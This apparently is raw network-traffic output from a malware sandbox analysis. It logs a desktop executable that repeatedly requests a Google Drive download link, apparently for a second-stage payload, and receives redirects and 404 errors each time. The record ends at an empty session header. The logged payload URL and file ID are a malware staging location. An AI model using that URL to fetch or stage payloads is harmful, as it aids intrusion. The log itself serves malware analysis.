2025-01-10 14:37:07 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:08 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4v98C6D3BFzYbZ7TiYVYglN-4MEzDQGt8M3jrLt0Pys4SupHpdqWXQfR7YiJHQiU34 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:08 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-VvM70X7_NkPrVq4ineQlZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:08 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 61 6c 4e 4f 76 37 4d 77 71 57 63 36 66 75 51 32 79 71 4f 39 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yalNOv7MwqWc6fuQ2yqO9g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.30	49815	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:18 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:18 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:18 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-rSEp5DpazXgQxR8T5yqfmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.30	49816	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:19 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:19 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC44u7Aj1Cs6KLfCXw7uHkHV9OQzBBsT9DA8zE_onW1Rofeo9XMMD-e0c-kasalx37Lf Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:19 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-FFnjPDhXdvxjo5IsCDw5_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:19 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 68 46 7a 69 6a 2d 76 6c 48 55 49 73 78 52 4f 6a 64 71 78 46 54 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hFzij-vlHUIsxROjdqxFTw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.30	49817	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:29 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:30 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:29 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-HL4NXkbW1uhfh6yGSmd1dg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.30	49818	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:30 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:30 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4qb4uJiDFKvUufKhG42rZQ4iFBmQbIfjKgruzZV_42xNZMHmsiqA71CCuVf22JOFYR Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:30 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-Nj2hrFQMANWIpeP9wrv4yQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:30 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 32 4e 6a 35 4f 38 6b 46 41 33 66 34 49 7a 65 49 4c 56 51 74 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="S2Nj5O8kFA3f4IzeILVQtg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.30	49819	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:41 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:41 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:41 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-6l1WdvcdoFu2ze_uUife-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.30	49820	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:41 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:42 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6Ds41NwtSXML3pkSK71wtZPCDl0H__OqVmiq0WpPPjnqHxhkjnSDU8U-4loFAR8Yd-kPojj0M Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:41 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-zUad4YNLIi0F8i8Jt040Uw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:42 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 61 37 52 31 74 35 46 5f 6a 6a 4f 69 55 5f 4c 7a 31 34 4f 4a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="va7R1t5F_jjOiU_Lz14OJw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.30	49821	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:52 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:52 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:52 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-FgZMlaExXwRcFFGZ2DoUmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.30	49822	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
